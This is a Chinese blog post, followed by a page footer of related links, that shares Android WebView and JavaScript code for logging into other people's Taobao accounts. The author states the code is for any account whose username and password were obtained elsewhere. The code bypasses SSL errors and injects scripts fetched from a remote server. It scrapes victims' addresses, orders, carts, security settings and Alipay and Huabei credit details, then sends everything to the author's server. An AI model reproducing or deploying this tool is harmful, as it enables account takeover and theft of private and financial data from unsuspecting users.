1、贴出主要代码。这个不是python,python只涉及了服务端对信息提取结果的接受。主体是java  + android + js。由于淘宝各模块都是二级子域名,不能只在一个页面完成所有请求,ajax不能跨域。需要加载不同的页面。以下是主要部分。js内容使用服务端分发。

这样做好处,即使不使用微服务,单台机器也能满足1000个用户在同一分钟提交账号密码请求登录,简化后台编写复杂度和减小服务器压力。密码 验证码的校验也更及时。

2、不是爬自己的信息,是获取别人 任意账号 + 密码的淘宝个人信息,如果是为了拿到自己的信息,搞这么多七七八八的那是闲的蛋疼。具体账号 密码是哪来的,置顶第一篇有介绍。

package com.touna.crawlmodule;

import android.graphics.Bitmap;
import android.net.http.SslError;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.webkit.CookieManager;
import android.webkit.JavascriptInterface;
import android.webkit.SslErrorHandler;
import android.webkit.ValueCallback;
import android.webkit.WebChromeClient;
import android.webkit.WebSettings;
import android.webkit.WebView;
import android.webkit.WebViewClient;
import org.json.JSONObject; import com.xx.httprequest.CrawlResultSender;
import com.xx.view.LogUtil;
import com.xx.view.ViewUtil;
import com.xx.view.WebViewTimer; public class TaobaoActivity extends AppCompatActivity {
private static final String TAG = "MainActivity";
private static final String LOGINPAGEURL = "https://login.m.taobao.com/login.htm";//移动端登陆页面
private static final String MOBILEINDEXPAGEURL = "http://h5.m.taobao.com/mlapp/mytaobao.html";//移动端淘宝个人用户首页
private static final String PCINDEXPAGEURL = "https://www.taobao.com/";
private static final String BINDPAGEURL = "http://member1.taobao.com/member/fresh/account_management.htm";
private static final String COLLECTIONURL = "https://shoucang.taobao.com/nodejs/item_collect_chunk.htm";//收藏页面url
private static final String ADDRESSURL = "https://member1.taobao.com/member/fresh/deliver_address.htm";//收货地址url
private static final String MYPATHURL = "https://lu.taobao.com/newMyPath.htm";//我的足迹url
private static final String BOUGHTSHOPSURL = "https://favorite.taobao.com/list_bought_shops_n.htm";//已经购买的店铺
private static final String BOUGHTITEMSURL = "https://buyertrade.taobao.com/trade/itemlist/list_bought_items.htm";//已经购买的物品
private static final String SHOPCARTURL = "https://cart.taobao.com/cart.htm";//购物车URL
private static final String SAFESETTINGURL = "http://member1.taobao.com/member/fresh/certify_info.htm";//安全信息设置
private static final String TRADEINFOURL = "http://member1.taobao.com/member/fresh/account_profile.htm";//交易信息url
private static final String PERSONALINFOURL = "https://i.taobao.com/user/baseInfoSet.htm";//个人资料url
private static final String POINTSURL = "https://pages.tmall.com/wow/jifen/act/point-details";//积分URL
private static final String WEIBOURL = "http://member1.taobao.com/member/fresh/weibo_bind_management.htm";//绑定微博URL
private static final String REFUSEURL = "https://refund2.tmall.com/dispute/buyerDisputeList.htm?type=1&disputeType=1";//退货管理URL
private static final String HUABEIURL = "https://i.taobao.com/my_taobao.htm";//支付宝余额和花呗额度
private JSONObject dataJson=new JSONObject(); @Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_taobo);
startWebView();
} private void startWebView() {
WebView webView = findViewById(R.id.taobaoView);
final WebSettings settings = webView.getSettings();
settings.setUseWideViewPort(true);
settings.setLayoutAlgorithm(WebSettings.LayoutAlgorithm.NARROW_COLUMNS);
settings.setLoadWithOverviewMode(true);
settings.setJavaScriptEnabled(true);
webView.addJavascriptInterface(new JsInterface(), "JsInterface");
settings.setJavaScriptEnabled(true);
settings.setLoadWithOverviewMode(true);
settings.setSupportZoom(true);
settings.setDomStorageEnabled(true);
settings.setCacheMode(WebSettings.LOAD_NO_CACHE);
settings.setAllowFileAccess(true);
settings.setUseWideViewPort(true);
settings.setSupportMultipleWindows(true);
settings.setLoadsImagesAutomatically(true);
//settings.setBlockNetworkImage(false);
settings.setDefaultTextEncodingName("GBK");
webView.setVerticalScrollBarEnabled(true);
webView.setHorizontalScrollBarEnabled(true);
settings.setUserAgentString("Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36");
webView.setWebChromeClient(new WebChromeClient());
startWebViewClient(webView);
webView.loadUrl(LOGINPAGEURL);
} /**
* @param view WebView对象
* 初始化webviewClient
*/
private void startWebViewClient(WebView view) {
view.setWebViewClient(new WebViewClient() {
@Override
public void onReceivedSslError(WebView view, SslErrorHandler handler, SslError error) {
handler.proceed();
} @Override
public void onPageStarted(final WebView view, String url, Bitmap favicon) {
Log.e(TAG, "onPageStarted: " + url);
if (url.contains(LOGINPAGEURL)){
view.setVisibility(View.GONE);
}
} /**
* @param view 浏览器对象
* @param url 浏览器地址
*/
@Override
public void onPageFinished(final WebView view, String url) {
Log.e(TAG, "onPageFinished: " + url);
if (url.contains(LOGINPAGEURL)) {
ViewUtil.injectScriptFile(view, "loginPage/taobaoInit.js");
view.loadUrl("javascript:initLoginPage()");
new WebViewTimer(view, 300){
@Override
public void operateView(){
view.setVisibility(View.VISIBLE);
}
};
} if (url.contains(MOBILEINDEXPAGEURL)) {
//view.getSettings().setUserAgentString("Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36");
ViewUtil.setNoImage(view); //关闭图片
view.loadUrl(PCINDEXPAGEURL);
}
if (PCINDEXPAGEURL.equals(url)) {
view.loadUrl(REFUSEURL);
}
if (url.contains(REFUSEURL)) {
ViewUtil.injectScriptFile(view, "jquery.min.js"); //此处需要jquery!
ViewUtil.injectScriptFromInternet(view, "taobao/refund.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractRefund());");
view.loadUrl(POINTSURL);
}
if (url.contains(POINTSURL)) {
Log.e(TAG, "onPageFinished: inject");
ViewUtil.injectScriptFromInternet(view, "taobao/point.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractPoint());");
view.loadUrl(PERSONALINFOURL);
}
if (url.contains(PERSONALINFOURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/personalInformation.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractPersonalInformation());");
view.loadUrl(COLLECTIONURL);
}
if (url.contains(COLLECTIONURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/collect.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractCollect());");
view.loadUrl(ADDRESSURL);
}
if (url.contains(ADDRESSURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/delivery.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractDelivery());");
view.loadUrl(MYPATHURL);
}
if (url.contains(MYPATHURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/footprint.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractFootprint());");
view.loadUrl(BOUGHTSHOPSURL);
}
if (url.contains(BOUGHTSHOPSURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/havaboughtStore.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractHaveBoughtStore());");
view.loadUrl(BOUGHTITEMSURL);
}
if (url.contains(BOUGHTITEMSURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/havebought.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractHaveBought());");
view.loadUrl(SHOPCARTURL);
}
if (url.contains(SHOPCARTURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/shoppingCart.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractShoppingCart());");
view.loadUrl(SAFESETTINGURL);
}
if (url.contains(SAFESETTINGURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/safeSettings.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractSafeSettings());");
view.loadUrl(TRADEINFOURL);
}
if (url.contains(TRADEINFOURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/tradeInfo.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractTradeInfo());");
view.loadUrl(WEIBOURL);
}
if (url.contains(WEIBOURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/weibo.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractWeibo());");
view.loadUrl(BINDPAGEURL); }
if (url.contains(BINDPAGEURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/alipayBinding.js");
view.loadUrl("javascript:window.JsInterface.getReturnString(extractAlipay());");
view.loadUrl(HUABEIURL);
} if (url.contains(HUABEIURL)) {
ViewUtil.injectScriptFromInternet(view, "taobao/huabei.js");
view.loadUrl("javascript:clickHuabei1()"); new WebViewTimer(view, 2000){
@Override
public void operateView(){
view.loadUrl("javascript:clickHuabei2()");
}
}; new WebViewTimer(view, 4000){
@Override
public void operateView(){
view.evaluateJavascript("extractHuabei()", new ValueCallback<String>() {
@Override
public void onReceiveValue(String s) {
Log.e(TAG, "onReceiveValue: "+s );
String jsonStr = ViewUtil.getStrLikeJson(s);
ViewUtil.reconsituteJSon(jsonStr, dataJson);
ViewUtil.showLargeLog(dataJson.toString());
CrawlResultSender.sendToweb("taobao", dataJson.toString());
}
});
}
};
}
}
});
} class JsInterface {
private static final String TAG = "JSInterface";
@JavascriptInterface
public void getReturnString(String returnValue) throws Exception{
Log.e(TAG,"当前项返回值是: " + returnValue);
ViewUtil.reconsituteJSon(returnValue,dataJson);
}
}
}

贴出其中一个js实例,例如提取用户所收藏物品。这里不是用直接翻页,使用的是ajax以提升效率,ajax一定需要同步方式。由于此接口是返回的页面不是json,可以用css选择器。

 /**
* Created by ㄟ(▔=▔)ㄏ on 2018/1/5.
*/
/*
* https://shoucang.taobao.com/nodejs/item_collect_chunk.htm?ifAllTag=0&tab=0&tagId=&categoryCount=0&type=0&tagName=&categoryName=&needNav=false&startRow=0
* 提取收藏的宝贝
* */
function myajax(opt) {
opt = opt || {};
opt.type = opt.type.toUpperCase() || 'POST';
opt.url = opt.url || '';
opt.async = opt.async || false;
opt.data = opt.data || null;
opt.success = opt.success || function () {};
var xmlHttp = null;
if (XMLHttpRequest) {
xmlHttp = new XMLHttpRequest();
}
else {
xmlHttp = new ActiveXObject('Microsoft.XMLHTTP');
}
var params = [];
for (var key in opt.data){
params.push(key + '=' + opt.data[key]);
}
var postData = params.join('&');
if (opt.type.toUpperCase() === 'POST') {
xmlHttp.open(opt.type, opt.url, opt.async);
xmlHttp.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded;charset=utf-8');
xmlHttp.send(postData);
}
else if (opt.type.toUpperCase() === 'GET') {
xmlHttp.open(opt.type, opt.url + '?' + postData, opt.async);
xmlHttp.send(null);
}
return xmlHttp;
} function extractCollect() { var collectList = [];
function extractCollectInner(p) {
console.debug("当前是第 " + p + "页");
var p = p || 0;
var startRow = p*30 ;
var url = 'https://shoucang.taobao.com/nodejs/item_collect_chunk.htm?ifAllTag=0&tab=0&tagId=&categoryCount=0&type=0&tagName=&categoryName=&needNav=false&startRow='+ startRow;
var htmlObj = myajax({
type: 'GET',
url: url ,
async: false
});
var htmlStr = htmlObj.responseText;
if (htmlStr.indexOf("J_FavListItem") > 0) { //判断页面是否为空不能继续翻页了
var collectSelectorList = document.querySelectorAll('li.J_FavListItem'); //使用原生js的querySelector css选择器方法
for (var i=0; i< collectSelectorList.length; i++) {
console.debug(i);
var collectName = collectSelectorList[i].querySelector('a.img-item-title-link').title;
var collectUrl = collectSelectorList[i].querySelector('a.img-item-title-link').href;
var collectPriceElement = collectSelectorList[i].querySelector('.g_price strong');
collectPriceElement ? collectPrice = collectPriceElement.innerText : collectPrice = "宝贝已失效"; //三元运算符,找不到价格元素,说明该宝贝已失效
var collectObj = {'collectName': collectName, 'collectUrl': collectUrl,'collectPrice':collectPrice};
console.info(collectObj);
collectList.push(collectObj);
}
console.info(url);
if (p < 3){ //最多只翻3页,每页30个收藏
extractCollectInner(p + 1); //翻页回调自己
}
}
return '{"collectInfo":' + JSON.stringify(collectList) + '}';
} return extractCollectInner();
} //extractCollect();

这就是唯一登录淘宝获取信息的方法,不管是什么语言java py,不管是用httpclient urlconnection还是urllib  requests 想达到 本篇的目的,可能性为0。不服不信的可以用httpclient urllib试试,光是一个接口登录淘宝,网上就在悬赏5万人民币了,就不说提取信息了,单是把这个接口登录淘宝解决,相当于几个月的工资了。

安卓sdk webview获取淘宝个人信息100项,源码。的更多相关文章

  1. python 获取淘宝商品信息

    python cookie 获取淘宝商品信息 # //get_goods_from_taobao import requests import re import xlsxwriter cok='' ...

  2. 淘宝开放平台php-sdk测试 获取淘宝商品信息(转)

    今天想使用淘宝开放平台的API获取商品详情,可是以前一直没使用过,看起来有点高深莫测,后然看开发入门,一步一步,还真有点感觉了,然后看示例,还真行了,记下来以后参考.其中遇到问题,后然解决了.因为我已 ...

  3. Python实现淘宝秒杀聚划算自动提醒源码

    快来加入群[python爬虫交流群](群号570070796),发现精彩内容. 本实例能够监控聚划算的抢购按钮,在聚划算整点聚的时间到达时发出提醒(音频文件自己定义位置)并自动弹开页面(URL自己定义 ...

  4. 利用Selenium爬取淘宝商品信息

    一.  Selenium和PhantomJS介绍 Selenium是一个用于Web应用程序测试的工具,Selenium直接运行在浏览器中,就像真正的用户在操作一样.由于这个性质,Selenium也是一 ...

  5. python3编写网络爬虫16-使用selenium 爬取淘宝商品信息

    一.使用selenium 模拟浏览器操作爬取淘宝商品信息 之前我们已经成功尝试分析Ajax来抓取相关数据,但是并不是所有页面都可以通过分析Ajax来完成抓取.比如,淘宝,它的整个页面数据确实也是通过A ...

  6. 获取淘宝客推广位id(adzone_id)

    在 获取淘宝联盟选品库的宝贝信息 这个接口中需要用到 推广位id,那边这个ID在哪找呢?1.进入阿里妈妈后台>推广管理>推广位管理,如下图: 2.在推广位管理 列表页 找到 PID,最后一 ...

  7. 爬取淘宝商品信息,放到html页面展示

    爬取淘宝商品信息 import pymysql import requests import re def getHTMLText(url): kv = {'cookie':'thw=cn; hng= ...

  8. Selenium+Chrome/phantomJS模拟浏览器爬取淘宝商品信息

    #使用selenium+Carome/phantomJS模拟浏览器爬取淘宝商品信息 # 思路: # 第一步:利用selenium驱动浏览器,搜索商品信息,得到商品列表 # 第二步:分析商品页数,驱动浏 ...

  9. Selenium模拟浏览器抓取淘宝美食信息

    前言: 无意中在网上发现了静觅大神(崔老师),又无意中发现自己硬盘里有静觅大神录制的视频,于是乎看了其中一个,可以说是非常牛逼了,让我这个用urllib,requests用了那么久的小白,体会到sel ...

随机推荐

  1. es6学习笔记二:生成器 Generators

    今天这篇文章让我感到非常的兴奋,接下来我们将一起领略ES6中最具魔力的特性. 为什么说是“最具魔力的”?对于初学者来说,此特性与JS之前已有的特性截然不同,可能会觉得有点晦涩难懂.但是,从某种意义上来 ...

  2. SpringMVC知识点

    一.SpringMVC 1.HelloWorld案例 ①步骤: 加jar包 在web.xml文件中配置DispatcherServlet 加入SpringMVC的配置文件 编写处理请求的处理器,并标识 ...

  3. linux 系统下使用socket进行本地进程间通信

    转自:https://blog.csdn.net/baidu_24553027/article/details/54912724 使用套接字除了可以实现网络间不同主机间的通信外,还可以实现同一主机的不 ...

  4. jPlayer获取播放时间

    关于jPlayer的用法,可以参考:jPlayer 2.6.0开发者手册 http://www.jplayer.cn/developer-guide.html 视频播放例子: //视频播放 var v ...

  5. 深入理解C++内存管理机制

    关于C++的内存处理,可分为三大块,分别是: (一)内存管理机制 (二)内存泄露处理 (三)内存回收机制 这篇文章将就(一)内存管理机制 进行深入探讨,如有错误欢迎大家指正. C++的内存管理也可细分 ...

  6. [Python设计模式] 第16章 上班,干活,下班,加班——状态模式

    github地址:https://github.com/cheesezh/python_design_patterns 题目 用代码模拟一天的工作状态,上午状态好,中午想睡觉,下午渐恢复,加班苦煎熬. ...

  7. window炫丽cmd的别名cmder

    windows下的cmd,色彩度用起来不爽,cmder是对cmd的补充,界面很清爽 01.下载 https://github.com/cmderdev/cmder http://cmder.net/ ...

  8. 发现2017年最好的CSS框架

    如今,无数的框架出现在定期而少数人喜欢自助,Foundation和angular.js主宰了整个世界的发展.CSS代表用于描述HTML(或XML)文档表示的样式表语言.一个框架被定义为一个包,它由一组 ...

  9. 干货!最全羽毛球技术动态分解gif图

    羽毛球的技术千变万化,但是离不开最基本的击球方法.下面通过一组形象的动态图,给你展现羽毛球的基本动作.大家,务必要收藏起来,慢慢体会哦! 一.发球 二.前场技术 1.网前球 2.搓球 3.勾球 4.推 ...

  10. 一行代码搞定 R 语言模型输出!(使用 stargazer 包)

    引言 使用stargazer包可以将 R 构建的模型结果以LATEX.HTML和ASCII格式输出,方便我们生成标准格式的表格.再结合rmarkdown,你就可以轻轻松松输出一篇优雅的文章啦~本文“使 ...